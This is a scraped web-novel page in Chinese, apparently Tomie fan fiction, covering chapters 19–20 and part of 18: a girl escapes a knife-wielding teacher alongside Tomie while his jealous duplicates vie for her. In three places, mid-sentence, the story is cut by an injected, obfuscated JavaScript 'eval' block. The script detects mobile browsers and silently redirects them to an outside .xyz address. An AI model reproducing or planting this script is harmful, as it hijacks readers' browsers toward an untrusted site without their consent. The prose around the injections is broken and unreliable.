富江他竟然伸出舌尖正在□□她的掌心!湿润温热的触感让她联想到一些软体动物,但没有那种恶心的感觉,反而像是瘙痒似的,一股酥麻的感觉自她掌心的位置慢慢蔓延开来。 她吓得手都抖了起来,火速扯手。 少年有些遗憾地眨巴着眼睛,乖巧得像只餍足的猫。 白石芽衣:“.......” 所以、这家伙根本没有一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15191348|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危机时刻害怕的自觉嘛! 而且,弄成现在这个样子,真的要多谢他那张嘴不少吧..... “...既然是这样,那你们两个都死在这里好了...放心,等你们死后,我一定会好好品尝你们的味道的~呵呵呵” 还没等女人发难,白石芽衣立即拉着少年往外跑去。 宫崎美咲也反应了过来,立马追了出去。 白石芽衣试图想要找个地方躲起来,可是每每刚拉开距离或者找到合适的位置想要藏匿起来的时,宫崎美咲那宛若恶鬼般的声音都会传来,就好像无论躲在天涯海角,她都有办法找到两人似的。 真的见鬼了! 偏偏就在这最危急的时刻,上天就好像故意在跟她作对似的,她竟然不合时宜地摔倒了。 身后的宫崎美咲露出了得意的笑容,就在两步之遥的位置,手中的美工刀在空中划出危险的弧度,眼看就要刺中她的小腿时,一股无形的力量竟然将宫崎美咲弹飞出去。 她被狠狠地撞在柱子上,发出一声痛苦的呜鸣声。 一切都来的太快了,白石芽衣只顾着起身逃跑,全然没有发现这个异状,而黑发少年却全都看见了,他眼底讶异的光芒一闪而过,随后立马拉起倒在地上的女孩起身奔跑。 两人不管不顾跑到最后一个教室,然后反锁了大门。 可好死不死,这最后一个教室竟然是戏剧社放道具的地方,宫崎美咲手上搞不好就在这个教室的钥匙...所以门是不能指望能挡住对方太久的,那个女的是哥彻头彻尾的疯子! 白石芽衣扫了一眼整个教室,最后将视线放在了窗户上。 这里是二楼,楼高不算高,大约也就是两米半到三米之间的高度,加上下面是绿化带的草坪,地面还算柔软...白石芽衣心里默默思考者,很快就有了答案。 “富江,我们要从这里跳下去。”她冷静地说道。 可面前的少年却似乎被吓了一跳似的,不满地开口道:“你竟然要我从这里跳下去?” “是的,这个高度应该不会有问题,落地的时候要稍微注意一下姿势...我先来示范一下,你再跟着我跳下来。” 白石芽衣也不墨迹,说完就径直一跃而下,落地的一瞬间产生的颤动让她的膝盖一颤,微微有些疼痛之外,也没别的问题了。 她松了一口气,抬头正准备和少年继续说话,却见原本在窗边的少年竟然不见了。 白石芽衣试着喊了好几声富江,却没有听见回应,心当即就悬了起来了。 难道他出事了? 就在白石芽衣犹豫着是不是应该立即跑去门卫室报告这一切找人来救的时候,少年的身影再次出现在窗户上。 冷清俊美的脸一扫刚才的不满,他就这样居高临下,静静地注视着白石芽衣。 然后他说——“芽衣,要接住我。” 便二话不说也跳了下来。 鬼使神差一般,白石芽衣竟然真的如同少年所说的那样,不自觉地张开双臂,一副要准备接住他的样子。 电光火石的一瞬间,她后知后觉地醒悟过来—— 不是她接啥呢?手不想要了? 于是,白石芽衣紧急撤回了一双手。 19.第十九章 白石芽衣严重怀疑富江是瞄准自己所在的位置跳下来的,不然怎么解释明明自己都后退了一步,这家伙还是精准无误地扑倒了自己的身上。 敢情这是准备拿她做垫子呢… 强大的冲击力让她朝后倒去,眼看马上就要和草坪做个亲密接触的时候,白石芽衣紧张地闭上了眼睛。 然而预想中的疼痛并没有发生。 她诧异地睁开眼睛,对上少年那双冷清自持的双眸,后脑勺和腰同时传来那冰凉柔软的触觉。他把她抱住了,所以她才没有摔在草地上。 不过、他是怎么做到的? 白石芽衣呆呆地看着面前的富江,少年很喜欢她这样的注视的目光,甚至非常大方地凑近了些,好让她看的更仔细,更清楚。 他的脸无论看几次都是离谱的程度,凑得那么近仍然是细腻的一个毛孔都看不见,仿佛上帝造他是极用心的,而其他人则是草草从泥地上捏了把土扔到地上。 真不公平…… 话说,他什么时候又换了件衣服,刚才是穿这件衣服吗? 白石芽衣陷入思考。 少年还以为她是看呆了,心中莫名还有点暗喜。要换作往日,他最不屑的就是那些赝品故意卖弄、显摆自己的美色来达成自己的目标,这个时候他就忍不住暗自比较起来。 看,他还是同那些赝品是不一样的,明明什么都没做,也没有故意卖弄,就已经惹得女孩目不转睛了。 “...芽衣想伸手摸摸看吗?”他‘好心’又‘大方’地说着,抓着女孩衣的手腕就要引导对方往他脸上摸去。 就在自己的手马上就触碰到对方的脸颊时,白石芽衣这才回过神,一把抽走了自己的手,从富江的怀里跳出来。 她警惕地看向二楼的窗户,那里空荡荡没有人,只有被风吹动的窗帘,摇晃出波浪形的阴影。 因而她也就错过了从富江怀里挣脱之后,少年那一瞬间阴沉下来的表情。 “...我们得先去保安室寻找帮助,然后报警......对!我们得赶紧报警!”白石芽衣碎碎念道。 然而,少年却没有听进去她的话,他仍旧耿耿于怀女孩挣脱他的事情,因为这样的举动在他眼里看来无疑就是一种无声的拒绝。 为什么,是这张脸还不够好看吗? 尤其是当他脑子里闪现出女孩捂住那个赝品嘴巴时的画面,他能够单方面读取到那些赝品的记忆,就好像他曾经也经历过一样。 那个赝品伸出的舌尖舔舐少女的掌心时,那种温热潮湿的触感,甚至他鼻尖仿佛还能若隐若现地嗅见少女身上淡淡的体香。 还有她紧紧拉着那个赝品奔跑的手...因为紧张,她掌心是一片温暖的濡湿,从女孩身上渗出来液体贴敷在他的皮肤上,令他无端地想到了水乳交融这四个字。 虽然那还不是真正意义上的,但已经足够让他感到心神荡漾。 所有的画面和感受都很真实,然而再真实,那也是另一个赝品的所触所感,不是他的。 那些赝品见缝插针地出现在女孩身边,恬不知耻地想跟他争夺女孩,明明他才是女孩的正牌男友,那些赝品凭什么? 最重要的是,凭什么那个赝品可以,他却不可以? 是因为他不像那些贱人一样不要脸,还是他太过矜持自重,从而忘记了该怎么样去利用自己的优势......才导致了那些家伙以为自己有可趁之机,又或者自以为是能够打败他。 原来如此...竟然是因为他太过高傲的缘故...... 就在此时,女孩转而看向少年,询问:“富江,你跳下来没受伤吧?还可以跟我去吗?” 她在关心他。 这个认知令他的脸色稍缓,他故作娘踉跄地起身,低声道:“...我可以的。” 也不说自己到底有没有受伤。 只是看在白石芽衣眼里,就不免有几分勉强之意了,尤其是少年的脸色越发苍白,一副站起来都费力的样子。 所以出于好心,她伸手过去。 川上富江以为她是准备牵他的手,伸手正准备去握,结果后者则是直接忽略了他伸出的手,自顾自地挽了他的胳膊。 白石芽衣:“我来扶你过去吧。” “.......” 少年浑身一僵,随后又缓缓放松下来。 “好。谢谢你,芽衣。” 他轻声回答到。 这是女孩第一次这么亲密地挽起他的手臂。 其他、所有的赝品从来没有...到达过的程度.... 光是这一点,就足够了。 白石芽衣:? 虽然但是、怎么他声音听上去很遗憾的感觉? * 白石芽衣搀扶着富江来到了保安室,保安室的值班人员正在打盹,听见她的叙述一开始还有点不太相信,但白石芽衣身为风纪委员的威信摆在那里,加上这个学校的学生非富即贵,领导每天耳提面命尽量不要得罪人,予己方便。 所以他只好听从对方的话,查看了事发的监控。 监控画面清楚地拍到了两人和宫崎美咲一前一后从音乐教室跑出来,后者手上的美工刀即便在监控中仍然清晰可见,对方模样凶狠,中间还真的差点用美工刀刺中白石芽衣,幸好是她不小心摔倒在一边,这才没有酿成大祸。 不过自那之后,那个位置的监控就好像受到了什么干扰似的,变成了一片模糊的雪花。 保安大哥见此情景,也不由地重视起来,立即拨打了报警电话。 同时在实时监控中寻找着宫崎美咲的身影,可是女人就好像无比熟悉学校的每一处监控死角似的,竟然怎么找都没找到对方。 警察很快赶到现场,警察给他们做了笔录,又带人找了教学楼一圈,始终没有发现宫崎美咲的身影。 只是路过戏剧社的教室时,白石芽衣似乎听见有人在叫自己的名字,那声音仿佛隔着很多层障碍,有点失真,又若隐若现,所以她有点没分清到底是真的还是自己的幻听。 她下意识看向里面去,各式各样的道具、服饰甚至还有人偶林立,整个教室看上去竟然有点阴森诡异。 但里面没有人。 富江恰如其分地拉起她的手,“没事的,都过去了芽衣,我会保护...芽衣的。” 白石芽衣的注意力被瞬间拉回来,少年拉着她的一瞬间,她吓了一跳,下意识地看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15196810|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围,除了保安还有警察之外,学生都走得差不多。 她正庆幸没人看见他们两个这样亲密的举动,因而没能发现,少年那双黑眸,正不动声色地略过那个教室,神色有些晦涩。 垃圾,就该呆在阴暗潮湿的角落,独自腐烂发臭才对。 * 深夜,因为出了宫崎美咲的事情,学校保安队加强了夜间的安全巡查。 石田贵男是夜间巡逻队的一员,他负责的区域是教学楼一至三楼。他是职场新人,领导交代的工作不敢怠慢,便打着手电筒一个教室一个教室仔细查看。 只是到了二楼最尽头的教室,他忽然听见里面传来求救的声音。 那声音显然是少年的嗓音,听上去就如同小提前一般悦耳,以至于他被某种莫名的念头趋势着,竟然毫不畏惧地走了进去。 声音是从角落的那个上锁的柜子里传来的。 “...请问有人在吗?...如果有人的话,麻烦救救我吧...我已经被困在这个柜子里一天了,这里面很黑,我很害怕...拜托了...请救救我吧....” 石田贵男鬼使神差地上前打开了柜子。 咿呀一声,柜门应声打开,可刚手电筒照清里面的人时,他却被吓得跌坐在地上,目露惊恐,就连手电筒都被他不小心摔了出去。 “...鬼!有鬼啊!” 只见里面的少年,脸上似乎被人用利器划出了好几道纵深的口子,而从这些狰狞的伤口当中,竟然长出了好几张扭曲诡异的人脸,那些眼睛齐刷刷地盯着他,一副恶鬼似的,怎叫他不感到害怕。 明明声音这么好听,但是模样却...... 瞥见男人的眼神,被毁容的少年露出了愤恨的表情。 那个老不死的贱人划烂他的脸,又把他关在这里自生自灭......这一切都是他的错! 他凭什么霸占白石芽衣?!不仅霸占和对方所有的记忆,还妄图霸占她身边唯一的位置.... 明明她交往的是‘川上富江’...... 他也是川上富江啊! 不过,那家伙表面风光霁月,一副不食人间烟火,又不屑他们行事风格的高清模样,倒头来还不是出于妒忌的心理,不然他为什么要划烂他的脸呢? 没错,他就是妒忌! 他在妒忌自己! 这个认知又让少年得意起来,瞬间觉得那个不可接近的虚伪老古董也没什么特别的,即便体质特殊了一点,骨子里还是‘川上富江’。 虚伪的、冷漠的、自私的、恶劣又善妒.... 原来他和他们是没有任何区别的! “哈哈哈哈哈!对!那家伙跟我们是一样的!一样的哈哈哈哈哈!”他张狂地笑着,好几张嘴巴同时咧开嘴笑着,看上去就好像是来自地狱的艳鬼。 片刻后,他笑够了,这才将目光施舍一般看向那个被吓得六神无主的男人,一扫刚才那卑微恳切的模样,颐指气使道: “废物!你还愣在那里干什么!还不快点帮我解开手脚上的绳子....” 这就是‘川上富江’。 反复无常,翻脸不认人。 他们都是一样的。 20.第二十章 自这天以后,宫崎美咲再也没有来学校,警察获得搜索令之后第一时间去她居住的地方查看,发现那里早就人去楼空,很久没有人住在那里了。 就连和她比较亲近的浅岛雄大也表示不知道她的去处。 案子陷入了僵局,警察只能表示会增派巡警到学校附近巡逻,学校也会加强管理严禁陌生人士进入。 至于宫崎美咲当时在音乐教室里说的那些奇怪的话,白石芽衣没有多加纠结,只觉得对方陷入了什么疯狂的幻想,不过她也有将这些话原封不动地告知警察。 警察也认为这只是宫崎美咲的疯言疯语。 这件事也在学校里传开来,表面和谐可亲,实则蛇蝎心肠的美女老师,杀人未遂,又潜逃成功什么的......每一个关键词都已经足够在这所高中引起讨论度,更何况是几个关键词组合在一起。 话题热烈到,就连白石芽衣还没推开风纪部的大门,就听见里面的人都在讨论这件事。 “...宫崎老师据说可是浅岛的哥哥引荐进来的呢....没想到她竟然会做出这样的事情来,而且还潜逃在外,最近学校的保安都很勤快巡逻,搞得我都莫名有点紧张...最近还是一放学就早点回家吧!” “浅岛的哥哥?你是说之前杀人后自杀的浅岛同学的哥哥吗?宫崎老师和他是什么关系啊?” “能是什么关系,男人女人的那种关系呗!” “可浅岛家的长子不是很早之前就已经订婚了吗?” “...据说为她背弃了婚约呢,表面上是和平结束婚约,其实私底下闹的很难看...誰能想到,自己不顾一切要娶的人竟然是这种货色...嘛,不过浅岛的哥哥现在也没心思管她的事了,我听我父亲说,浅岛家也不知道怎么回事竟然接连在好几个大投资项目里失利,现在资金链断了正在四处寻找融资的机会呢,看上去可不太乐观,然后老爷子还气到中风瘫痪,据说没那几天好活了,二女儿则是出了交通意外,竟然当场死亡.....估计浅岛的哥哥现在每天都在焦头烂额吧......” “说起来,这些接二连三的坏事好像都是那个女人出现在浅岛家之后发生的吧,真是个美丽又不详的女人呢......” “就是,就连川上同学也差点被那个女人伤害了呢...幸好川上同学你没事,真的是不幸中万幸呢!” 白石芽衣一愣,她没想到富江也在办公室。 也是,之前为了不引人怀疑,擅自把富江招揽进风纪部了。 不过她也没想到,那家伙竟然真的会乖乖出现在风纪部......白石芽衣有些头痛地抚额,开始觉得招揽对方进来是一个错误的决定。 她本来想直接进去的,但听见的下一个问题,又让她的脚步瞬间顿住。 只听见有个学妹问道—— “...吶,我很好奇,富江同学和白石学姐很熟吗?你们到底是什么关系呀?” 这个问题就好像一个开关,瞬间打开了所有人的话匣子。 “对啊,很奇怪呢,发生事情的时候,川上同学是跟白石学姐一起吧......那个点,你们在一起做什么呀?” “...难道白石芽衣和富江同学你,有什么不可告人的秘密关系吗?” 虽然看不见对方的表情,但白石芽衣敏锐地感觉到了一丝危险和不善的气息。 浅岛惠发疯之前被众人针对的画面又一幕幕地在白石芽衣脑海中闪回,瞬间令她心中的警铃大作,她清楚,如果这个问题回答的不好的话,她将会陷入万劫不复的麻烦境地。 也许会落得和浅岛惠一样的下场。 想到这里,白石芽衣就感觉自己头上好像悬了一把看不见的剑,正随时随地准备落下来,贯穿她的身体。 最重要的是,完全无法预料黑发少年会怎么回答这个问题,这才是最要命的! 白石芽衣心急如焚,正准备打断他们的对话时,一直没有开口的少年终于说话了。 “只是交代完成一些工作而已,没想到进这个部门这么多事要忙,真是烦死人了....” 少年的声音冷清中带着一点不耐烦,瞬间引得其他人关心起他来。 “怎么会,只是最近这段时间比较忙而已,白石学姐也是的,富江同学明明是新人居然这么快就安排工作了吗?” “吶,平时有什么麻烦的工作的话,可以交给我去办哦~只要能帮忙富江同学,我什么都会帮忙的!” “就是就是!富江同学千万不要离开风纪部......” 大家都一副生怕对方因为嫌麻烦就此退部而不停地说着各种挽留的话,就把没直说对方只要愿意挂着风纪部委员的名号当个吉祥物什么都不用做了.... 虽然她一开始也是这样想的。 “咳咳.....” 白石芽衣适时地佯装咳嗽,吸引了大家的注意力。 见她出现,刚才还热情地和黑发少年攀谈的三个同学们瞬间没了声,立马借口离开了办公室。 而黑发少年则是懒洋洋地躺在沙发上,正百无聊赖地翻开着最新的时尚杂志,他抬眸看向白石芽衣,似乎在等待着她先开口说话。 而白石芽衣只是说了一声‘下午好’,然后自顾自到座位上开始处理起工作来。 见状,少年神色不悦,他合上杂志并随手丢在茶几上,发出清脆的一声啪嗒,似乎想要借此引起对方的注意。 他微微颔首,嘴角勾起,一副等待夸奖的小狗模样。 然而他失望了,少女似乎丝毫没有察觉到他的不悦,而是沉浸在桌面上的资料文件中。 事实上,白石芽衣有点心不在焉。 找借口来掩饰她和富江之间的关系不难,但如果每一次都这样的话,难免不会引起怀疑。即便每一次都能找到借口,也难保说会不会有过激的追随者不管不顾就要来找她的麻烦..... 这样想着,她下意识看向桌上的日历,后天就是比赛的日子了。 只要过了那一天,就让这把高悬达摩克利斯之剑彻底解决掉。 “...芽衣,这个比赛对你来说就这么重要吗?” 少年冷清的声音响起,白石芽衣还吓了一跳,对方不知何时站在她的旁边,正居高临下地看着她。他也看到了日历上那个被红圈圈住的日子。 “...比我还重要?” 来了来了,这个死亡问题来了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15202357|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白石芽衣没想到有一天自己竟然也面临这样的问题,一时之间不知道如何作答。 她当然可以对黑发少年撒谎,用‘在我心里你最重要’等等之类的甜言蜜语来搪塞对方,可是对上那双黑色的眸子,她又说不出口。 死去的良心好像隐隐有复活的迹象。 最后她只是说:“这个比赛对我来说有特殊的意义,我...很想完成它。吶,富江你一定会帮我的对吗?” 少年愣住。 女孩回望着他,湖绿色的眼底是一种他全然没见过的恳切,还有难以察觉的一丝信赖,就好像这个世界上只有他能够帮助她实现这件事似的。 只有他。 这个认知显然取悦了他,所以他不再执着于探究比赛和他谁更重要,微不可察地点头,“当然,我一定会帮助芽衣的。” 然后乖乖地回到了沙发上坐好,再次拿起杂志,轻轻地翻阅起来。 白石芽衣这才松了一口气。 可下一刻,少年的声音再次响起—— 他说:“...不过,比赛结束之后,芽衣一定会好好补偿我的,对吗?” “当、当然啦!” 她莫名有点心虚。 但少年没有察觉,只是心满意足地笑了。 白石芽衣很快处理好了琐事,见时间还早,便拿起比赛相关的资料复习,富江也一直在看杂志,只是目光余光一直不动声色观察着一无所知的女孩。 女孩趴在桌子上睡着了。 也是,每天光是认真学习就已经足够普通学生筋疲力尽了,更别提她每天上学放学还要作为风纪委员执行工作,还要抽时间准备比赛的相关事宜,恐怕身体早就到了极限,累的睡了过去也实属正常。 她背后的窗户大开着,落日的余晖透过窗户洒进来,为她的轮廓铺上一层圣洁的光辉。 风吹动着纱帘,影影绰绰。 女孩埋在双臂的头也缩了缩,似乎感到了寒冷。 富江起身准备过去关窗。 可刚一起身,窗户就缓缓地合上了。 风一瞬间全部静止,室内安静得只剩下女孩轻盈又绵长的呼吸声。 而从空中缓缓飘落的纱帘中,赫然出现了一个虚幻的人影,似人似鬼,捉摸不定。 因为被挡着,少年看得不是很真切。可他却能够感知到,那虚影身上缠绕着强大的力量,那是所有其他灵魂都无法随意靠近的可怕存在。 而这样的气息,‘富江’无疑是见过的。 眨眼的功夫,虚影消失,连带着那股可怕的威压也一并消失得无影无踪,仿佛这只是一场只针对他的幻觉。 可不是只针对他吗? 就好像对方的昙花一现,只是为了警告他,如果敢伤害女孩的话,绝对不会放过他。 黑发少年的表情瞬间冷了下来,他讨厌对方身上那种莫名其妙自诩女孩守护者的自觉和气息。可当他走到女孩身边,看见她一如既往可爱又无辜的睡容时,神色又立马缓和起来。 他伸出手指,沿着女孩的脸部轮廓轻轻抚摸着。 “只有我可以...”保护白石芽衣。 这是她允许并且承诺了的。